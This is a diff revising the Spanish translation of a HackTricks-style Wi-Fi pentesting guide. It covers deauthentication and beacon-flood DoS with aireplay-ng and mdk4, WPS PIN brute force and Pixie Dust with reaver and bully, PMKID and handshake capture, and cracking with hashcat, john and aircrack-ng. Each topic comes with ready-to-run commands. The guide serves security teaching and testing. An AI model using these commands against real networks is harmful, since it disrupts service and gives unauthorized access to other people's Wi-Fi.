@@ -19,15 +19,15 @@ Otras formas de apoyar a HackTricks:
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
-Interactúa con contenido que profundiza en la emoción y los desafíos del hacking
+Participa en contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
-Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real
+Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
-Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma
+Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de las plataformas
-**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
+**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## Comandos básicos de Wifi
```bash
@@ -50,6 +50,8 @@ git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### Airgeddon
+
+Airgeddon es una herramienta de prueba de penetración todo en uno para redes inalámbricas. Permite a los pentesters realizar una variedad de ataques contra redes Wi-Fi, como ataques de deautenticación, ataques de fuerza bruta, ataques de Evil Twin, y más. Airgeddon simplifica el proceso de prueba de penetración de redes inalámbricas al proporcionar una interfaz gráfica de usuario fácil de usar y una amplia gama de funciones y herramientas integradas.
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
@@ -70,7 +72,7 @@ v1s1t0r1sh3r3/airgeddon
```
### wifiphisher
-Puede realizar ataques Evil Twin, KARMA y Known Beacons y luego usar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.
+Puede realizar ataques de Evil Twin, KARMA y Beacons Conocidos y luego utilizar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@@ -81,67 +83,67 @@ sudo python setup.py install # Install any dependencies
Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente:
* Configura la interfaz en modo monitor
-* Escanea redes posibles - Y te permite seleccionar la(s) víctima(s)
+* Escanea posibles redes - Y te permite seleccionar a la(s) víctima(s)
* Si es WEP - Lanza ataques WEP
* Si es WPA-PSK
-* Si es WPS: Ataque Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta puede llevar mucho tiempo). Ten en cuenta que no intenta PIN nulo o PINs de base de datos/generados.
-* Intenta capturar el PMKID del AP para descifrarlo
+* Si es WPS: Ataque Pixie dust y ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta puede llevar mucho tiempo). Ten en cuenta que no intenta PIN nulo o PIN generados de base de datos.
+* Intenta capturar el PMKID del AP para crackearlo
* Intenta desautenticar clientes del AP para capturar un handshake
-* Si PMKID o Handshake, intenta fuerza bruta usando las 5000 contraseñas más comunes.
+* Si tiene PMKID o Handshake, intenta fuerza bruta usando las 5000 contraseñas principales.
-## Resumen de ataques
+## Resumen de Ataques
* **DoS**
-* Desautenticación/desasociación -- Desconectar a todos (o un ESSID/Cliente específico)
+* Paquetes de desautenticación/desasociación -- Desconectar a todos (o a un ESSID/Cliente específico)
* APs falsos aleatorios -- Ocultar redes, posibles bloqueos de escáneres
-* Sobrecargar AP -- Intentar matar el AP (generalmente no muy útil)
+* Sobrecargar AP -- Intentar desactivar el AP (generalmente no muy útil)
* WIDS -- Jugar con el IDS
-* TKIP, EAPOL -- Algunos ataques específicos para DoS algunos APs
+* TKIP, EAPOL -- Algunos ataques específicos para DoS en algunos APs
* **Cracking**
-* Descifrar **WEP** (varias herramientas y métodos)
+* Crackear **WEP** (varias herramientas y métodos)
* **WPA-PSK**
-* **WPS** pin "Fuerza Bruta"
+* PIN de **WPS** "Fuerza bruta"
* **WPA PMKID** fuerza bruta
-* \[DoS +] **WPA handshake** captura + Descifrado
+* \[DoS +] Captura de **WPA handshake** + Cracking
* **WPA-MGT**
-* **Captura de nombre de usuario**
-* **Fuerza bruta** Credenciales
-* **Evil Twin** (con o sin DoS)
-* **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
-* **WPA-PSK** Evil Twin -- Útil para ataques de red si conoces la contraseña
+* Captura de **Nombre de usuario**
+* **Fuerza bruta** de credenciales
+* **Doble Malvado** (con o sin DoS)
+* Doble Malvado **Abierto** \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
+* Doble Malvado **WPA-PSK** -- Útil para ataques de red si conoces la contraseña
* **WPA-MGT** -- Útil para capturar credenciales de empresa
-* **KARMA, MANA**, **Loud MANA**, **Known beacon**
-* **+ Open** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
-* **+ WPA** -- Útil para capturar handshakes WPA
+* **KARMA, MANA**, **MANA Ruidoso**, **Señal conocida**
+* **+ Abierto** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
+* **+ WPA** -- Útil para capturar handshakes de WPA
## DOS
### Paquetes de Desautenticación
-La forma más común de realizar este tipo de ataque es con paquetes de **desautenticación**. Estos son un tipo de trama de "gestión" responsable de desconectar un dispositivo de un punto de acceso. Falsificar estos paquetes es la clave para [hackear muchas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), ya que puedes desconectar forzosamente a cualquier cliente de la red en cualquier momento. La facilidad con la que esto se puede hacer es algo aterrador y a menudo se hace como parte de la recolección de un handshake WPA para descifrar.
+La forma más común en que se realiza este tipo de ataque es con paquetes de **desautenticación**. Estos son un tipo de marco "de gestión" responsable de desconectar un dispositivo de un punto de acceso. Falsificar estos paquetes es clave para [hackear muchas redes Wi-Fi](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), ya que puedes desconectar forzosamente a cualquier cliente de la red en cualquier momento. La facilidad con la que se puede hacer esto es algo aterrador y a menudo se hace como parte de la obtención de un handshake de WPA para crackear.
-Además de usar momentáneamente esta desconexión para cosechar un handshake para descifrar, también puedes simplemente dejar que esos deauths sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de deauth aparentemente provenientes de la red a la que están conectados. Debido a que estas tramas no están cifradas, muchos programas aprovechan las tramas de gestión falsificándolas y enviándolas a uno o todos los dispositivos en una red.\
+Además de usar momentáneamente esta desconexión para recolectar un handshake para crackear, también puedes dejar que esas desautenticaciones sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de desautenticación aparentemente del la red a la que están conectados. Debido a que estos marcos no están encriptados, muchos programas aprovechan los marcos de gestión falsificándolos y enviándolos a uno o a todos los dispositivos en una red.\
**Descripción de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Desautenticación usando Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
-* \-0 significa desautenticación
-* 1 es el número de desautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente
+* \-0 significa deautenticación
+* 1 es el número de deautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente
* \-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
-* \-c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía una desautenticación broadcast (no siempre funciona)
+* \-c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía una desautenticación de difusión (no siempre funciona)
* ath0 es el nombre de la interfaz
-### Paquetes de Disasociación
+### Paquetes de Desasociación
-Los paquetes de disasociación son otro tipo de trama de gestión que se utiliza para desconectar un nodo (es decir, cualquier dispositivo como una laptop o teléfono celular) de un punto de acceso cercano. La diferencia entre las tramas de desautenticación y disasociación es principalmente la forma en que se utilizan.
+Los paquetes de desasociación son otro tipo de trama de gestión que se utiliza para desconectar un nodo (cualquier dispositivo como un portátil o teléfono móvil) de un punto de acceso cercano. La diferencia entre las tramas de deautenticación y de desasociación radica principalmente en la forma en que se utilizan.
-Un AP que busca desconectar un dispositivo no autorizado enviaría un paquete de desautenticación para informar al dispositivo que ha sido desconectado de la red, mientras que un paquete de disasociación se utiliza para desconectar cualquier nodo cuando el AP se está apagando, reiniciando o abandonando el área.
+Un AP que busca desconectar un dispositivo no autorizado enviaría un paquete de deautenticación para informar al dispositivo que ha sido desconectado de la red, mientras que un paquete de desasociación se utiliza para desconectar cualquier nodo cuando el AP se está apagando, reiniciando o abandonando el área.
**Descripción de** [**aquí**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
-**Este ataque puede ser realizado por mdk4(modo "d"):**
+**Este ataque puede ser realizado por mdk4 (modo "d"):**
```bash
# -c
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
@@ -156,7 +158,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
**MODO DE ATAQUE b: Inundación de Beacons**
-Envía tramas beacon para mostrar APs falsos a los clientes. ¡Esto a veces puede colapsar escáneres de red e incluso controladores!
+Envía tramas de beacons para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@@ -166,7 +168,7 @@ mdk4 wlan0mon b -a -w nta -m
```
**MODO DE ATAQUE a: Denegación de Servicio de Autenticación**
-Envía tramas de autenticación a todos los APs encontrados en el rango. Demasiados clientes pueden congelar o reiniciar varios APs.
+Envía tramas de autenticación a todos los AP encontrados en el rango. Demasiados clientes pueden congelar o reiniciar varios AP.
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
@@ -174,13 +176,13 @@ Envía tramas de autenticación a todos los APs encontrados en el rango. Demasia
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
-**MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta**
+**MODO DE ATAQUE p: Sondeo y Fuerza Bruta de SSID**
-Sondea APs y verifica si responden, útil para comprobar si el SSID ha sido correctamente desocultado y si el AP está dentro de tu rango de envío. La **fuerza bruta de SSIDs ocultos** con o sin una lista de palabras también está disponible.
+Sondea los AP y verifica si hay respuesta, útil para comprobar si el SSID ha sido descubierto correctamente y si el AP está dentro de tu rango de envío. También está disponible la **fuerza bruta de SSIDs ocultos** con o sin una lista de palabras.
-**MODO DE ATAQUE m: Explotación de Contramedidas Michael**
+**MODO DE ATAQUE m: Explotación de Contramedidas de Michael**
-Envía paquetes aleatorios o reinyecta duplicados en otra cola QoS para provocar Contramedidas Michael en **APs TKIP**. El AP se apagará durante un minuto entero, lo que lo convierte en un **DoS** efectivo.
+Envía paquetes aleatorios o reinyecta duplicados en otra cola de QoS para provocar Contramedidas de Michael en los **APs TKIP**. El AP se apagará durante un minuto completo, convirtiéndolo en un **DoS** efectivo.
```bash
# -t of a TKIP AP
# -j use inteligent replay to create the DoS
@@ -188,27 +190,27 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**MODO DE ATAQUE e: Inyección de Paquetes EAPOL Start y Logoff**
-Inunda un AP con marcos **EAPOL** Start para mantenerlo ocupado con **sesiones falsas** e impide que maneje clientes legítimos. O desconecta a los clientes **inyectando mensajes falsos** EAPOL **Logoff**.
+Inunda un AP con tramas de inicio de **EAPOL** para mantenerlo ocupado con **sesiones falsas** y así deshabilitarlo para manejar clientes legítimos. O desconecta a los clientes al **inyectar mensajes falsos** de **Logoff** de EAPOL.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
-**MODO DE ATAQUE s: Ataques para redes malladas IEEE 802.11s**
+**MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s**
-Varios ataques a la gestión de enlaces y enrutamiento en redes malladas. ¡Inunda vecinos y rutas, crea agujeros negros y desvía el tráfico!
+Varios ataques en la gestión de enlaces y enrutamiento en redes de malla. ¡Inunde vecinos y rutas, cree agujeros negros y desvíe el tráfico!
-**MODO DE ATAQUE w: Confusión WIDS**
+**MODO DE ATAQUE w: Confusión de WIDS**
-Confunde/Abusa de los Sistemas de Detección y Prevención de Intrusiones conectando clientes de forma cruzada a múltiples nodos WDS o APs falsos y maliciosos.
+Confunda/abuse los Sistemas de Detección y Prevención de Intrusiones cruzando clientes a múltiples nodos WDS o puntos de acceso falsos.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e -c [-z]
```
-**MODO DE ATAQUE f: Packet Fuzzer**
+**MODO DE ATAQUE f: Fuzzer de Paquetes**
Un fuzzer de paquetes simple con múltiples fuentes de paquetes y un buen conjunto de modificadores. ¡Ten cuidado!
-### **Airgeddon**
+### **Airggedon**
_**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios anteriores:
@@ -216,44 +218,44 @@ _**Airgeddon**_ ofrece la mayoría de los ataques propuestos en los comentarios
## WPS
-WPS significa Wi-Fi Protected Setup. Es un estándar de seguridad de redes inalámbricas que intenta hacer que las conexiones entre un enrutador y dispositivos inalámbricos sean más rápidas y fáciles. **WPS solo funciona para redes inalámbricas que usan una contraseña** que está cifrada con los protocolos de seguridad **WPA** Personal o **WPA2** Personal. WPS no funciona en redes inalámbricas que están utilizando la seguridad WEP obsoleta, la cual puede ser vulnerada fácilmente por cualquier hacker con un conjunto básico de herramientas y habilidades. (De [aquí](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
+WPS significa Configuración Protegida de Wi-Fi. Es un estándar de seguridad de red inalámbrica que intenta hacer que las conexiones entre un enrutador y dispositivos inalámbricos sean más rápidas y fáciles. **WPS solo funciona para redes inalámbricas que utilizan una contraseña** que está encriptada con los protocolos de seguridad **WPA** Personal o **WPA2** Personal. WPS no funciona en redes inalámbricas que utilizan la seguridad WEP obsoleta, que puede ser fácilmente crackeada por cualquier hacker con un conjunto básico de herramientas y habilidades. (De [aquí](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
-WPS utiliza un PIN de 8 dígitos para permitir que un usuario se conecte a la red, pero primero se verifica los primeros 4 números y, si son correctos, luego se verifica los segundos 4 números. Entonces, es posible hacer Brute-Force de la primera mitad y luego de la segunda mitad (solo 11000 posibilidades).
+WPS utiliza un PIN de 8 dígitos para permitir que un usuario se conecte a la red, pero primero se verifican los primeros 4 números y, si son correctos, luego se verifican los siguientes 4 números. Luego, es posible hacer un ataque de fuerza bruta en la primera mitad y luego en la segunda mitad (solo 11000 posibilidades).
-### WPS Bruteforce
+### Fuerza Bruta de WPS
Hay 2 herramientas principales para realizar esta acción: Reaver y Bully.
* **Reaver** ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS.
-* **Bully** es una **nueva implementación** del ataque de fuerza bruta WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de la endianness y un conjunto de opciones más robusto.
+* **Bully** es una **nueva implementación** del ataque de fuerza bruta de WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de la endianness y un conjunto de opciones más robusto.
-Este ataque aprovecha una **debilidad en el código PIN de WPS de ocho dígitos**; debido a este problema, el protocolo **revela información sobre los primeros cuatro dígitos del PIN**, y el **último** dígito funciona como un **checksum**, lo que facilita el brute forcing del AP WPS.\
-Ten en cuenta que algunos dispositivos incluyen **protecciones contra fuerza bruta**, que generalmente **bloquean direcciones MAC** que intentan atacar repetidamente. En ese caso, la complejidad de este ataque aumenta, porque tendrías que **rotar direcciones MAC** mientras pruebas los PINs.
+Este ataque aprovecha una **debilidad en el código PIN WPS de ocho dígitos**; debido a este problema, el protocolo **revela información sobre los primeros cuatro dígitos del PIN**, y el **último** dígito funciona como un **checksum**, lo que facilita el ataque de fuerza bruta al AP de WPS.\
+Ten en cuenta que algunos dispositivos incluyen **protecciones contra fuerza bruta**, que generalmente **bloquean las direcciones MAC** que intentan atacar repetidamente. En ese caso, la complejidad de este ataque aumenta, porque tendrías que **rotar las direcciones MAC** mientras pruebas los PIN.
-Si se encuentra el código WPS válido, tanto Bully como Reaver lo utilizarán para descubrir el PSK WPA/WPA2 utilizado para proteger la red, por lo que podrás conectarte siempre que lo necesites.
+Si se encuentra el código válido de WPS, tanto Bully como Reaver lo utilizarán para descubrir la PSK de WPA/WPA2 utilizada para proteger la red, por lo que podrás conectarte en cualquier momento que lo necesites.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
-**Smart Brute force**
+**Ataque de fuerza bruta inteligente**
-En lugar de comenzar probando todos los PIN posibles, deberías verificar si hay **PINs descubiertos para el AP que estás atacando** (dependiendo del MAC del fabricante) y los **PINs generados por software**.
+En lugar de comenzar probando cada PIN posible, deberías verificar si hay **PINs descubiertos para el AP que estás atacando** (dependiendo de la MAC del fabricante) y los **PINs generados por software**.
-* La base de datos de PINs conocidos está hecha para Access Points de ciertos fabricantes para los cuales se sabe que utilizan los mismos PINs WPS. Esta base de datos contiene los primeros tres octetos de direcciones MAC y una lista de PINs correspondientes que son muy probables para este fabricante.
-* Hay varios algoritmos para generar PINs WPS. Por ejemplo, ComputePIN y EasyBox utilizan la dirección MAC del Access Point en sus cálculos. Pero el algoritmo de Arcadyan también requiere una ID de dispositivo.
+- La base de datos de PINs conocidos está hecha para Puntos de Acceso de ciertos fabricantes para los cuales se sabe que utilizan los mismos PINs de WPS. Esta base de datos contiene los tres primeros octetos de las direcciones MAC y una lista de PINs correspondientes que son muy probables para este fabricante.
+- Hay varios algoritmos para generar PINs de WPS. Por ejemplo, ComputePIN y EasyBox utilizan la dirección MAC del Punto de Acceso en sus cálculos. Pero el algoritmo de Arcadyan también requiere un ID de dispositivo.
### Ataque WPS Pixie Dust
-Dominique Bongard descubrió que algunos APs tienen formas débiles de generar **nonces** (conocidos como **E-S1** y **E-S2**) que se supone que son secretos. Si podemos descubrir cuáles son estos nonces, podemos encontrar fácilmente el PIN WPS de un AP ya que el AP debe dárnoslo en un hash para probar que también conoce el PIN, y que el cliente no se está conectando a un AP falso. Estos E-S1 y E-S2 son esencialmente las "llaves para desbloquear la caja fuerte" que contiene el PIN WPS. Más información aquí: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
+Dominique Bongard descubrió que algunos APs tienen formas débiles de generar **nonces** (conocidos como **E-S1** y **E-S2**) que se supone que son secretos. Si logramos descubrir cuáles son estos nonces, podemos encontrar fácilmente el PIN de un AP, ya que el AP debe proporcionárnoslo en un hash para demostrar que también conoce el PIN, y el cliente no se está conectando a un AP falso. Estos E-S1 y E-S2 son esencialmente las "claves para desbloquear la caja de seguridad" que contiene el PIN de WPS. Más información aquí: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
-Básicamente, algunas implementaciones fallaron en el uso de claves aleatorias para encriptar las 2 partes del PIN (ya que se descompone en 2 partes durante la comunicación de autenticación y se envía al cliente), por lo que se podría utilizar un ataque offline para forzar bruscamente el PIN válido.
+Básicamente, algunas implementaciones fallaron en el uso de claves aleatorias para cifrar las 2 partes del PIN (ya que se descompone en 2 partes durante la comunicación de autenticación y se envía al cliente), por lo que un ataque offline podría usarse para realizar fuerza bruta en el PIN válido.
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
-### Ataque Null Pin
+### Ataque de Pin Nulo
-Algunas implementaciones realmente malas permitían la conexión con el PIN nulo (también muy extraño). Reaver puede probar esto (Bully no puede).
+Algunas implementaciones realmente malas permiten la conexión con Pin Nulo (muy extraño también). Reaver puede probar esto (Bully no puede).
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
@@ -265,47 +267,47 @@ Todos los ataques WPS propuestos se pueden realizar fácilmente utilizando _**ai
* 5 y 6 te permiten probar **tu PIN personalizado** (si tienes alguno)
* 7 y 8 realizan el ataque **Pixie Dust**
-* 13 te permite probar el **PIN NULO**
-* 11 y 12 **recopilarán los PINes relacionados con el AP seleccionado de bases de datos disponibles** y **generarán** posibles **PINes** utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?)
-* 9 y 10 probarán **todos los PINes posibles**
+* 13 te permite probar el **PIN NULL**
+* 11 y 12 **recopilarán los PIN relacionados con el AP seleccionado de las bases de datos disponibles** y **generarán** posibles **PIN** utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?)
+* 9 y 10 probarán **cada PIN posible**
## **WEP**
-Tan roto y desaparecido que no voy a hablar de él. Solo debes saber que _**airgeddon**_ tiene una opción WEP llamada "Todo en Uno" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.
+Tan vulnerable y obsoleto que no voy a hablar de él. Solo sé que _**airgeddon**_ tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.
![](<../../.gitbook/assets/image (125).png>)
-¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
+Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
-**Hacking Insights**\
-Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
+**Perspectivas de Hacking**\
+Participa en contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
-Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.
+Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
-Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones cruciales de la plataforma.
+Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
-**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
+**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## WPA/WPA2 PSK
### PMKID
-En 2018, los autores de hashcat [divulgaron](https://hashcat.net/forum/thread-7717.html) un nuevo tipo de ataque que no solo depende **de un único paquete**, sino que no requiere que ningún cliente esté conectado a nuestro AP objetivo, sino solo comunicación entre el atacante y el AP.
+En 2018, los autores de hashcat [revelaron](https://hashcat.net/forum/thread-7717.html) un nuevo tipo de ataque que no solo se basa **en un solo paquete**, sino que no requiere que ningún cliente esté conectado a nuestro AP objetivo, solo la comunicación entre el atacante y el AP.
-Resulta que **muchos** routers modernos añaden un **campo opcional** al final del **primer marco EAPOL** enviado por el propio AP cuando alguien se está asociando, el llamado `Robust Security Network`, que incluye algo llamado `PMKID`
+Resulta que **muchos** routers modernos añaden un **campo opcional** al final del **primer marco EAPOL** enviado por el propio AP cuando alguien se está asociando, el llamado `Red de Seguridad Robusta`, que incluye algo llamado `PMKID`
-Como se explica en la publicación original, el **PMKID** se deriva utilizando datos que nos son conocidos:
+Como se explica en el post original, el **PMKID** se deriva utilizando datos que nos son conocidos:
```
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
-**Dado que la cadena "PMK Name" es constante, conocemos tanto el BSSID del AP como de la estación y el `PMK` es el mismo obtenido de un handshake completo de 4 vías**, ¡esto es todo lo que hashcat necesita para descifrar el PSK y recuperar la frase de paso!
+**Dado que la cadena "Nombre de PMK" es constante, conocemos tanto el BSSID del AP como el de la estación y el `PMK` es el mismo obtenido de un apretón de manos completo de 4 vías**, ¡esto es todo lo que hashcat necesita para descifrar la PSK y recuperar la frase de paso!\
Descripción obtenida de [aquí](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/).
-Para **recolectar** esta información y **fuerza bruta** localmente la contraseña puedes hacer:
+Para **recopilar** esta información y **realizar fuerza bruta** localmente la contraseña, puedes hacer:
```bash
airmon-ng check kill
airmon-ng start wlan0
@@ -317,17 +319,17 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
-Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** dentro de \_**/tmp/attack.pcap**\_
-Ahora, convierte la captura al formato de **hashcat/john** y descrífiela:
+Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** dentro de \_ **/tmp/attack.pcap**\_\
+Ahora, convierte la captura al formato de **hashcat/john** y descífrala:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
-Tenga en cuenta que el formato de un hash correcto contiene **4 partes**, como: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
-\_\_Si el suyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura de PMKID no fue válida).
+Por favor, ten en cuenta que el formato correcto de un hash contiene **4 partes**, como: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6f6e65436f6e6e6563743034383131343838_\
+\_\_Si el tuyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura PMKID no fue válida).
-Note que `hcxdumptool` **también captura handshakes** (algo así aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Podría **transformar** los **handshakes** a formato **hashcat**/**john** usando `cap2hccapx`
+Ten en cuenta que `hcxdumptool` **también captura apretones de manos** (algo así aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Puedes **transformar** los **apretones de manos** al formato de **hashcat**/**john** usando `cap2hccapx`.
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@@ -335,30 +337,28 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
-_He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso conociendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._
+### Captura de handshake
-### Captura de Handshake
-
-Una forma de atacar redes **WPA/WPA2** es capturar un **handshake** e intentar **descifrar** la contraseña utilizada **offline**. Para hacerlo necesitas encontrar el **BSSID** y **canal** de la red **víctima**, y un **cliente** que esté conectado a la red.\
-Una vez que tienes esa información debes comenzar a **escuchar** toda la comunicación de ese **BSSID** en ese **canal**, porque con suerte el handshake será enviado allí:
+Una forma de atacar redes **WPA/WPA2** es capturar un **handshake** e intentar **descifrar** la contraseña utilizada **sin conexión**. Para hacerlo, necesitas encontrar el **BSSID** y el **canal** de la red de la **víctima**, y un **cliente** que esté conectado a la red.\
+Una vez que tengas esa información, debes comenzar a **escuchar** toda la comunicación de ese **BSSID** en ese **canal**, ya que esperanzadamente el handshake se enviará allí:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
-Ahora necesitas **desautenticar** al **cliente** por unos segundos para que se autentique automáticamente de nuevo al AP (por favor, lee la parte de DoS para encontrar varias formas de desautenticar a un cliente):
+Ahora necesitas **desautenticar** al **cliente** durante unos segundos para que se autentique automáticamente de nuevo en el AP (por favor, lee la parte de DoS para encontrar varias formas de desautenticar a un cliente):
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
```
-_Nota que como el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._
+_Nota que una vez que el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._
-Una vez que en `airodump-ng` aparece información del handshake, esto significa que el handshake fue capturado y puedes dejar de escuchar:
+Una vez que en `airodump-ng` aparezca información de handshake, significa que el handshake fue capturado y puedes dejar de escuchar:
![](<../../.gitbook/assets/image (172) (1).png>)
-Una vez capturado el handshake, puedes **crackearlo** con `aircrack-ng`:
+Una vez que el handshake es capturado, puedes **descifrarlo** con `aircrack-ng`:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
-### Verificar si el handshake está en el archivo
+### Verificar si hay handshake en el archivo
**aircrack**
```bash
@@ -372,70 +372,71 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
